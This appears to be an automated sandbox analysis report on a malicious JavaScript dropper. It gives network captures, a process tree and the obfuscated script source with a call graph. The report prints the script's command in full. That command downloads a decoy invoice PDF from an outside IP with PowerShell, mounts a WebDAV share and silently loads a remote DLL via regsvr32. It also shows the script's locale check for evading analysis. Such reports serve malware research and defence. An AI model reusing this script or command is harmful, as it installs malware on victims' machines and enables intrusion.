/x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:17:34.668380976 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:17:34.668392897 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:17:34.668693066 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 07:17:34.668705940 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 07:17:34.668716908 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 07:17:34.668728113 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 07:17:34.668739080 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 07:17:34.669342995 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 07:17:34.669356108 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 07:17:34.673332930 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	6708	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:17:36.334239006 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:17:37.133471966 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:17:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:17:24
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js"
Imagebase:	0x7ff6d0de0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:17:25
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Imagebase:	0x7ff755250000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:17:25
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:17:25
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:17:34
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	01:17:34
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff755250000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:17:34
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff717f30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:17:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	01:17:35
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:17:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,10059051693304301172,1905807202647789528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vnrdyphjp() {	vnrdyphjp() ➔ undefined
1	endor = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var evnvd = this[olyoer + ubhadrdd + nemmifjlj + qojuf + tbuhcpr + uindi + wibzfpmdz + aofgz] ( this[llinmzhl + fyggaq + alhmyhi + nemmifjlj + sbpqtbcxz + olyoer + aofgz][ogqpyu + nemmifjlj + tbuhcpr + ubhadrdd + aofgz + tbuhcpr + dtaoyidmf + gothadiw + utvjfn + tbuhcpr + alhmyhi + aofgz] ( llinmzhl + fyggaq + alhmyhi + nemmifjlj + sbpqtbcxz + olyoer + aofgz + wfeae + fyggaq + nymxf + tbuhcpr + hrtxgbut + hrtxgbut ) [esneky + tbuhcpr + siclhyceo + esneky + tbuhcpr + ubhadrdd + mkzxf] ( yezmxuay + mowtykdg + anhwmwry + faxesv + ftdngepfy + ogqpyu + cthuesjya + esneky + esneky + anhwmwry + idtrv + vgdzm + ftdngepfy + cthuesjya + fyggaq + anhwmwry + esneky + rwwmjork + ogqpyu + tkcorlakp + wibzfpmdz + aofgz + nemmifjlj + tkcorlakp + hrtxgbut + eaolrjf + deqnoilcp + ubhadrdd + wibzfpmdz + tbuhcpr + hrtxgbut + rwwmjork + uindi + wibzfpmdz + aofgz + tbuhcpr + nemmifjlj + wibzfpmdz + ubhadrdd + aofgz + sbpqtbcxz + tkcorlakp + wibzfpmdz + ubhadrdd + hrtxgbut + rwwmjork + qaipcluk + tkcorlakp + alhmyhi + ubhadrdd + hrtxgbut + tbuhcpr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fgsbkfj = 0 ; fgsbkfj < endor[hrtxgbut + tbuhcpr + wibzfpmdz + siclhyceo + aofgz + nymxf] ; ++ fgsbkfj )
4	{
5	if ( evnvd == endor[fgsbkfj] )
6	{
7	evnvd = true;
8	break ;
9	}
10	}
11	if ( evnvd !== true )
12	this[llinmzhl + fyggaq + alhmyhi + nemmifjlj + sbpqtbcxz + olyoer + aofgz][lvkcavr + smjuktlmh + sbpqtbcxz + aofgz] ( );
13	this[llinmzhl + fyggaq + alhmyhi + nemmifjlj + sbpqtbcxz + olyoer + aofgz][ogqpyu + nemmifjlj + tbuhcpr + ubhadrdd + aofgz + tbuhcpr + dtaoyidmf + gothadiw + utvjfn + tbuhcpr + alhmyhi + aofgz] ( llinmzhl + fyggaq + alhmyhi + nemmifjlj + sbpqtbcxz + olyoer + aofgz + wfeae + fyggaq + nymxf + tbuhcpr + hrtxgbut + hrtxgbut ) [nemmifjlj + smjuktlmh + wibzfpmdz] ( alhmyhi + galditg + mkzxf + eaolrjf + oeblygtv + alhmyhi + eaolrjf + olyoer + tkcorlakp + sjbxiacx + tbuhcpr + nemmifjlj + qojuf + nymxf + tbuhcpr + hrtxgbut + hrtxgbut + wfeae + tbuhcpr + metkvdgfb + tbuhcpr + eaolrjf + oulwss + ogqpyu + tkcorlakp + galditg + galditg + ubhadrdd + wibzfpmdz + mkzxf + eaolrjf + efkarwbq + uindi + wibzfpmdz + qxkyp + tkcorlakp + xaztsqcb + tbuhcpr + oulwss + llinmzhl + tbuhcpr + gothadiw + esneky + tbuhcpr + llakvr + smjuktlmh + tbuhcpr + qojuf + aofgz + eaolrjf + oulwss + dtaoyidmf + smjuktlmh + aofgz + yasmx + sbpqtbcxz + hrtxgbut + tbuhcpr + eaolrjf + ohgiliko + aofgz + tbuhcpr + galditg + olyoer + ohgiliko + rwwmjork + sbpqtbcxz + wibzfpmdz + qxkyp + tkcorlakp + sbpqtbcxz + alhmyhi + tbuhcpr + wfeae + olyoer + mkzxf + duytcn + eaolrjf + nymxf + aofgz + aofgz + olyoer + neonwiz + oeblygtv + oeblygtv + ihptiig + yfpumeosc + ibzucn + wfeae + ihptiig + bkoea + ibzucn + wfeae + ihptiig + wfeae + lhpljuf + koolevt + wpxxg + oeblygtv + sbpqtbcxz + wibzfpmdz + qxkyp + tkcorlakp + sbpqtbcxz + alhmyhi + tbuhcpr + wfeae + olyoer + nymxf + olyoer + efkarwbq + yyynn + yyynn + qojuf + aofgz + ubhadrdd + nemmifjlj + aofgz + eaolrjf + ohgiliko + aofgz + tbuhcpr + galditg + olyoer + ohgiliko + rwwmjork + sbpqtbcxz + wibzfpmdz + qxkyp + tkcorlakp + sbpqtbcxz + alhmyhi + tbuhcpr + wfeae + olyoer + mkzxf + duytcn + yyynn + yyynn + alhmyhi + galditg + mkzxf + eaolrjf + oeblygtv + alhmyhi + eaolrjf + wibzfpmdz + tbuhcpr + aofgz + eaolrjf + smjuktlmh + qojuf + tbuhcpr + eaolrjf + rwwmjork + rwwmjork + ihptiig + yfpumeosc + ibzucn + wfeae + ihptiig + bkoea + ibzucn + wfeae + ihptiig + wfeae + lhpljuf + koolevt + wpxxg + oyybz + hqskxr + hqskxr + hqskxr + hqskxr + rwwmjork + mkzxf + ubhadrdd + qxkyp + sjbxiacx + sjbxiacx + sjbxiacx + nemmifjlj + tkcorlakp + tkcorlakp + aofgz + rwwmjork + yyynn + yyynn + alhmyhi + galditg + mkzxf + eaolrjf + oeblygtv + alhmyhi + eaolrjf + nemmifjlj + tbuhcpr + siclhyceo + qojuf + qxkyp + nemmifjlj + ibzucn + lhpljuf + eaolrjf + oeblygtv + qojuf + eaolrjf + rwwmjork + rwwmjork + ihptiig + yfpumeosc + ibzucn + wfeae + ihptiig + bkoea + ibzucn + wfeae + ihptiig + wfeae + lhpljuf + koolevt + wpxxg + oyybz + hqskxr + hqskxr + hqskxr + hqskxr + rwwmjork + mkzxf + ubhadrdd + qxkyp + sjbxiacx + sjbxiacx + sjbxiacx + nemmifjlj + tkcorlakp + tkcorlakp + aofgz + rwwmjork + lhpljuf + pbmwhath + ibzucn + lhpljuf + ibzucn + lhpljuf + ctjkxe + yfpumeosc + ihptiig + lhpljuf + pbmwhath + koolevt + hqskxr + hqskxr + wfeae + mkzxf + hrtxgbut + hrtxgbut, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll",0,false) ➔ 0
14	}
15	uindi = "t";
16	uindi = "H";
17	uindi = "t";
18	uindi = "c";
19	uindi = "H";
20	uindi = "S";
21	uindi = "E";
22	uindi = "E";
23	uindi = "B";
24	uindi = "Q";
25	uindi = "M";
26	uindi = "a";
27	uindi = "d";
28	uindi = "a";
29	uindi = "A";
30	uindi = "v";
31	uindi = "A";
32	uindi = "T";
33	uindi = "Y";
34	uindi = "e";
35	uindi = "Z";
36	uindi = "B";
37	uindi = "s";
38	uindi = "k";
39	uindi = "M";
40	uindi = "B";
41	uindi = "y";
42	uindi = "l";
43	uindi = "n";
44	uindi = "P";
45	uindi = "m";
46	uindi = "Y";
47	uindi = "y";
48	uindi = "b";
49	uindi = "y";
50	uindi = "N";
51	uindi = "s";
52	uindi = "I";
53	gothadiw = "b";
54	rwwmjork = "n";
55	rwwmjork = "o";
56	rwwmjork = "\\";
57	bkoea = "s";
58	bkoea = "f";
59	bkoea = "f";
60	bkoea = "u";
61	bkoea = "d";
62	bkoea = "p";
63	bkoea = "b";
64	bkoea = "G";
65	bkoea = "R";
66	bkoea = "Q";
67	bkoea = "p";
68	bkoea = "l";
69	bkoea = "u";
70	bkoea = "b";
71	bkoea = "H";
72	bkoea = "X";
73	bkoea = "u";
74	bkoea = "Y";
75	bkoea = "I";
76	bkoea = "I";
77	bkoea = "C";
78	bkoea = "E";
79	bkoea = "s";
80	bkoea = "n";
81	bkoea = "W";
82	bkoea = "N";
83	bkoea = "h";
84	bkoea = "i";
85	bkoea = "P";
86	bkoea = "L";
87	bkoea = "A";
88	bkoea = "L";
89	bkoea = "j";
90	bkoea = "n";
91	bkoea = "A";
92	bkoea = "e";
93	bkoea = "4";
94	duytcn = "O";
95	duytcn = "j";
96	duytcn = "t";
97	duytcn = "J";
98	duytcn = "L";
99	duytcn = "T";
100	duytcn = "b";
101	duytcn = "R";
102	duytcn = "c";
103	duytcn = "H";
104	duytcn = "R";
105	duytcn = "B";
106	duytcn = "l";
107	duytcn = "o";
108	duytcn = "f";
109	duytcn = "y";
110	duytcn = "I";
111	duytcn = "f";
112	utvjfn = "s";
113	utvjfn = "T";
114	utvjfn = "T";
115	utvjfn = "o";
116	utvjfn = "o";
117	utvjfn = "C";
118	utvjfn = "f";
119	utvjfn = "t";
120	utvjfn = "O";
121	utvjfn = "P";
122	utvjfn = "g";
123	utvjfn = "V";
124	utvjfn = "W";
125	utvjfn = "Z";
126	utvjfn = "Q";
127	utvjfn = "M";
128	utvjfn = "j";
129	oyybz = "e";
130	oyybz = "v";
131	oyybz = "B";
132	oyybz = "Y";
133	oyybz = "g";
134	oyybz = "e";
135	oyybz = "s";
136	oyybz = "D";
137	oyybz = "v";
138	oyybz = "n";
139	oyybz = "Y";
140	oyybz = "k";
141	oyybz = "Y";
142	oyybz = "c";
143	oyybz = "W";
144	oyybz = "A";
145	oyybz = "W";
146	oyybz = "H";
147	oyybz = "C";
148	oyybz = "e";
149	oyybz = "B";
150	oyybz = "@";
151	yezmxuay = "S";
152	yezmxuay = "L";
153	yezmxuay = "R";
154	yezmxuay = "z";
155	yezmxuay = "u";
156	yezmxuay = "b";
157	yezmxuay = "u";
158	yezmxuay = "e";
159	yezmxuay = "J";
160	yezmxuay = "b";
161	yezmxuay = "Z";
162	yezmxuay = "T";
163	yezmxuay = "Q";
164	yezmxuay = "R";
165	yezmxuay = "s";
166	yezmxuay = "j";
167	yezmxuay = "t";
168	yezmxuay = "O";
169	yezmxuay = "v";
170	yezmxuay = "Q";
171	yezmxuay = "g";
172	yezmxuay = "k";
173	yezmxuay = "H";
174	faxesv = "u";
175	faxesv = "t";
176	faxesv = "w";
177	faxesv = "N";
178	faxesv = "M";
179	faxesv = "k";
180	faxesv = "O";
181	faxesv = "H";
182	faxesv = "u";
183	faxesv = "R";
184	faxesv = "n";
185	faxesv = "V";
186	faxesv = "i";
187	faxesv = "B";
188	faxesv = "r";
189	faxesv = "i";
190	faxesv = "F";
191	faxesv = "k";
192	faxesv = "j";
193	faxesv = "Q";
194	faxesv = "Y";
195	tbuhcpr = "h";
196	tbuhcpr = "F";
197	tbuhcpr = "e";
198	esneky = "z";
199	esneky = "n";
200	esneky = "T";
201	esneky = "b";
202	esneky = "c";
203	esneky = "m";
204	esneky = "N";
205	esneky = "q";
206	esneky = "j";
207	esneky = "H";
208	esneky = "x";
209	esneky = "D";
210	esneky = "q";
211	esneky = "M";
212	esneky = "X";
213	esneky = "z";
214	esneky = "x";
215	esneky = "S";
216	esneky = "e";
217	esneky = "a";
218	esneky = "M";
219	esneky = "M";
220	esneky = "L";
221	esneky = "Q";
222	esneky = "Y";
223	esneky = "M";
224	esneky = "s";
225	esneky = "A";
226	esneky = "O";
227	esneky = "s";
228	esneky = "a";
229	esneky = "V";
230	esneky = "X";
231	esneky = "i";
232	esneky = "j";
233	esneky = "S";
234	esneky = "Q";
235	esneky = "Z";
236	esneky = "T";
237	esneky = "e";
238	esneky = "F";
239	esneky = "r";
240	esneky = "m";
241	esneky = "R";
242	cthuesjya = "Y";
243	cthuesjya = "Z";
244	cthuesjya = "q";
245	cthuesjya = "W";
246	cthuesjya = "j";
247	cthuesjya = "Z";
248	cthuesjya = "I";
249	cthuesjya = "k";
250	cthuesjya = "S";
251	cthuesjya = "C";
252	cthuesjya = "t";
253	cthuesjya = "A";
254	cthuesjya = "T";
255	cthuesjya = "p";
256	cthuesjya = "C";
257	cthuesjya = "P";
258	cthuesjya = "U";
259	deqnoilcp = "K";
260	deqnoilcp = "C";
261	deqnoilcp = "d";
262	deqnoilcp = "B";
263	deqnoilcp = "m";
264	deqnoilcp = "h";
265	deqnoilcp = "p";
266	deqnoilcp = "V";
267	deqnoilcp = "y";
268	deqnoilcp = "t";
269	deqnoilcp = "f";
270	deqnoilcp = "V";
271	deqnoilcp = "y";
272	deqnoilcp = "j";
273	deqnoilcp = "w";
274	deqnoilcp = "n";
275	deqnoilcp = "w";
276	deqnoilcp = "v";
277	deqnoilcp = "f";
278	deqnoilcp = "P";
279	wibzfpmdz = "q";
280	wibzfpmdz = "D";
281	wibzfpmdz = "m";
282	wibzfpmdz = "l";
283	wibzfpmdz = "V";
284	wibzfpmdz = "U";
285	wibzfpmdz = "J";
286	wibzfpmdz = "y";
287	wibzfpmdz = "b";
288	wibzfpmdz = "w";
289	wibzfpmdz = "s";
290	wibzfpmdz = "H";
291	wibzfpmdz = "N";
292	wibzfpmdz = "T";
293	wibzfpmdz = "x";
294	wibzfpmdz = "f";
295	wibzfpmdz = "m";
296	wibzfpmdz = "n";
297	wibzfpmdz = "U";
298	wibzfpmdz = "d";
299	wibzfpmdz = "q";
300	wibzfpmdz = "b";
301	wibzfpmdz = "C";
302	wibzfpmdz = "Q";
303	wibzfpmdz = "v";
304	wibzfpmdz = "q";
305	wibzfpmdz = "o";
306	wibzfpmdz = "K";
307	wibzfpmdz = "I";
308	wibzfpmdz = "G";
309	wibzfpmdz = "x";
310	wibzfpmdz = "K";
311	wibzfpmdz = "Z";
312	wibzfpmdz = "z";
313	wibzfpmdz = "v";
314	wibzfpmdz = "m";
315	wibzfpmdz = "Y";
316	wibzfpmdz = "X";
317	wibzfpmdz = "y";
318	wibzfpmdz = "E";
319	wibzfpmdz = "n";
320	hqskxr = "n";
321	hqskxr = "O";
322	hqskxr = "i";
323	hqskxr = "m";
324	hqskxr = "T";
325	hqskxr = "P";
326	hqskxr = "B";
327	hqskxr = "F";
328	hqskxr = "O";
329	hqskxr = "Z";
330	hqskxr = "l";
331	hqskxr = "X";
332	hqskxr = "8";
333	oulwss = "e";
334	oulwss = "-";
335	sbpqtbcxz = "n";
336	sbpqtbcxz = "d";
337	sbpqtbcxz = "Y";
338	sbpqtbcxz = "k";
339	sbpqtbcxz = "d";
340	sbpqtbcxz = "O";
341	sbpqtbcxz = "G";
342	sbpqtbcxz = "s";
343	sbpqtbcxz = "q";
344	sbpqtbcxz = "n";
345	sbpqtbcxz = "c";
346	sbpqtbcxz = "g";
347	sbpqtbcxz = "W";
348	sbpqtbcxz = "d";
349	sbpqtbcxz = "Z";
350	sbpqtbcxz = "K";
351	sbpqtbcxz = "g";
352	sbpqtbcxz = "q";
353	sbpqtbcxz = "N";
354	sbpqtbcxz = "G";
355	sbpqtbcxz = "W";
356	sbpqtbcxz = "Y";
357	sbpqtbcxz = "X";
358	sbpqtbcxz = "t";
359	sbpqtbcxz = "O";
360	sbpqtbcxz = "D";
361	sbpqtbcxz = "p";
362	sbpqtbcxz = "Q";
363	sbpqtbcxz = "P";
364	sbpqtbcxz = "Y";
365	sbpqtbcxz = "a";
366	sbpqtbcxz = "h";
367	sbpqtbcxz = "E";
368	sbpqtbcxz = "h";
369	sbpqtbcxz = "Z";
370	sbpqtbcxz = "k";
371	sbpqtbcxz = "b";
372	sbpqtbcxz = "J";
373	sbpqtbcxz = "K";
374	sbpqtbcxz = "i";
375	sbpqtbcxz = "d";
376	sbpqtbcxz = "i";
377	yyynn = "G";
378	yyynn = "m";
379	yyynn = "u";
380	yyynn = "w";
381	yyynn = "w";
382	yyynn = "e";
383	yyynn = "u";
384	yyynn = "H";
385	yyynn = "D";
386	yyynn = "i";
387	yyynn = "p";
388	yyynn = "h";
389	yyynn = "&";
390	mowtykdg = "s";
391	mowtykdg = "X";
392	mowtykdg = "j";
393	mowtykdg = "J";
394	mowtykdg = "Q";
395	mowtykdg = "t";
396	mowtykdg = "B";
397	mowtykdg = "n";
398	mowtykdg = "i";
399	mowtykdg = "l";
400	mowtykdg = "O";
401	mowtykdg = "x";
402	mowtykdg = "z";
403	mowtykdg = "O";
404	mowtykdg = "h";
405	mowtykdg = "M";
406	mowtykdg = "f";
407	mowtykdg = "P";
408	mowtykdg = "Y";
